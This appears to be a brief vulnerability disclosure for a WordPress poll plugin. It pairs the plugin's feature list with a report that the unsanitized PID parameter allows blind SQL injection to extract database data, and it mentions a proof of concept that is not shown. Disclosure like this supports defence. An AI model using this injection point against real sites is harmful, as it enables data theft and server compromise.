Best Plugin to create Polls for your site. Everything is smoother, faster,

and seamless like WordPress itself.

    Poll Manager,

        Ability to set general and post/page specific polls,

        Ability to leaf over the polls

        Ability to add certain poll in certain post content

        Ability to show polls either with and without current results of

polls

日记:

the Variable PID is not properly sanitized in the get request before

insertion into the database query; allowing an attaacker or any user who

can view poll results (supposedly   all user) to use blind sql injection to

extract database data and possibly compromise the whole server. a POC is

provided with both true and false results.
